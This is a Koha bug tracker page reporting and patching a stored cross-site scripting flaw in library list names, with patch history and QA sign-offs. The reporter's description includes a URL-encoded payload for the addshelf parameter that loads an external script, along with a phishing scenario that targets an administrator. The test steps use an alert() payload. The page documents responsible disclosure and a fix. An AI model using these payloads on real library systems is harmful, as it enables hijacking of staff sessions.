Bug 14416 - Stored XSS flaw affects OPAC and Staff interface
Summary: Stored XSS flaw affects OPAC and Staff interface
Status: CLOSED FIXED
Alias: None
Product: Koha
Classification: Unclassified
Component: Lists (show other bugs)
Version: unspecified
Hardware: PC Linux
: P5 - low major (vote)
Assignee: Galen Charlton
QA Contact: Testopia
URL:
Keywords:
: 14415 (view as bug list)
Depends on:
Blocks: 13618 14568
  Show dependency treegraph
 
Reported: 2015-06-18 18:18 UTC by Raschin Tavakoli
Modified: 2017-06-14 22:11 UTC (History)
11 users (show)

See Also:
Change sponsored?: ---
Patch complexity: Small patch
Documentation contact:
Documentation submission:
Text to go in the release notes:
Version(s) released in:


Attachments
Screenshots with Exploit Scenario (811.36 KB, application/x-compressed-tar)
2015-06-18 18:40 UTC, Raschin Tavakoli
Details
Bug 14416 : Stored XSS vulnerability (2.05 KB, patch)
2015-06-18 23:03 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14416 Stored XSS vulnerability (2.38 KB, patch)
2015-06-18 23:28 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14416 : Stored XSS vulnerability (2.11 KB, patch)
2015-06-19 09:22 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14416 Stored XSS vulnerability (2.45 KB, patch)
2015-06-19 09:23 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14416: (follow-up) opac addbybilionumber (1.66 KB, patch)
2015-06-19 09:23 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet) (2.28 KB, patch)
2015-06-19 09:23 UTC, Jonathan Druart
Details | Diff | Splinter Review
[PASSED QA] Bug 14416 : Stored XSS vulnerability (2.18 KB, patch)
2015-06-19 13:27 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14416 Stored XSS vulnerability (2.52 KB, patch)
2015-06-19 13:28 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14416: (follow-up) opac addbybilionumber (1.73 KB, patch)
2015-06-19 13:29 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet) (2.35 KB, patch)
2015-06-19 13:29 UTC, Katrin Fischer
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Raschin Tavakoli 2015-06-18 18:18:40 UTC
We found a Stored XSS flaw in the Koha Library which could allow remote attackers to execute arbritrary code via XSRF.

The affected page in the OPAC client is:
http://testbox:9001/cgi-bin/koha/opac-shelves.pl
the vulnerable parameter: addshelf

The affected page in the STAFF client is:
http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl


Example Scenario:

Student Alice receives a phishing mail and clicks the following:

/cgi-bin/koha/opac-shelves.pl?shelves=1&addshelf=Malicious+Input+%3Cscript+src%3D%27http%3A%2F%2Fcst.sba-research.org%2Fx.js%27%2F%3E&owner=7854&sortfield=title&category=2&allow_add=0&allow_delete_own=1&allow_delete_other=0

Bob, library admin, recognizes the new malicious list entry. He logs into the staff area and browses the public lists in order to delete the entry. Once he opens 

http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl

the malcious code get's executed. It then could either target bob's browser or even perform an XSRF attack by exploiting other server-side vulnerabilities.

Side note:  In order to make the attack work, alice only needs to have access to the OPAC interface and to have permissions to create public lists.
---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Raschin Tavakoli 2015-06-18 18:40:30 UTC
Created attachment 40333 [details]
Screenshots with Exploit Scenario

The screenshots show the input in the OPAC interface (victim1 - alice), the target victim in the Staff client (bob), and the permissions page of alice and bob. 
As we can see, alice, has very restricted permissions various bob has superlibrarian permissions set.
Comment 2 Chris Cormack 2015-06-18 18:55:01 UTC
*** Bug 14415 has been marked as a duplicate of this bug. ***
Comment 3 Chris Cormack 2015-06-18 23:03:55 UTC Comment hidden (obsolete)
Comment 4 Chris Cormack 2015-06-18 23:28:02 UTC Comment hidden (obsolete)
Comment 5 Jonathan Druart 2015-06-19 09:22:56 UTC Comment hidden (obsolete)
Comment 6 Jonathan Druart 2015-06-19 09:23:03 UTC Comment hidden (obsolete)
Comment 7 Jonathan Druart 2015-06-19 09:23:06 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-19 09:23:10 UTC Comment hidden (obsolete)
Comment 9 Jonathan Druart 2015-06-19 09:23:57 UTC
Found 2 more at the OPAC and I submitted a patch for the intranet side (which was affected too).
Comment 10 Jonathan Druart 2015-06-19 09:25:38 UTC
if ( $var =~ m|<script>| ) {
    $template->param( error => "CONVOKE_STUDENT" );
}

:)
Comment 11 Katrin Fischer 2015-06-19 13:27:26 UTC
Created attachment 40370 [details] [review]
[PASSED QA] Bug 14416 : Stored XSS vulnerability

The affected page in the OPAC client is:
http://testbox:9001/cgi-bin/koha/opac-shelves.pl
the vulnerable parameter: addshelf

The affected page in the STAFF client is:
http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl

To test:
1/ Create a shelf in the opac that contains some malicious js
 eg Bad stuff <script>alert('oh noes');</script> as the name
2/ Go to /cgi-bin/koha/virtualshelves/shelves.pl in the staff client
  Note the js is executed
3/ View
http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1
  Notice the html is not escaped
4/ Apply patch
5/ View
http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1
  Notice the html is now escaped
6/ View /cgi-bin/koha/virtualshelves/shelves.pl - no more exploit

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 12 Katrin Fischer 2015-06-19 13:28:45 UTC
Created attachment 40371 [details] [review]
[PASSED QA] Bug 14416 Stored XSS vulnerability

opac-addbybiblionumber.pl is also vulnerable because it doesn't escape
list names.

To test
1/ Create a malicious list name
2/ Try to add a biblio to the lists
3/ Notice js is excuted
4/ Apply patch
5/ Test again

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 13 Katrin Fischer 2015-06-19 13:29:11 UTC
Created attachment 40372 [details] [review]
[PASSED QA] Bug 14416: (follow-up) opac addbybilionumber

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 14 Katrin Fischer 2015-06-19 13:29:35 UTC
Created attachment 40373 [details] [review]
[PASSED QA] Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet)

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 15 Tomás Cohen Arazi 2015-06-22 14:39:06 UTC
Patches pushed to master.
Good job Chris!
Comment 16 Chris Cormack 2015-06-22 21:42:49 UTC
Pushed to 3.20.x will be in 3.20.1
Comment 17 Fridolin Somers 2015-06-23 09:27:15 UTC
Pushed to 3.14.x, will be in 3.14.16
Comment 18 Mason James 2015-06-23 14:03:24 UTC
Pushed to 3.16.x, will be in 3.16.12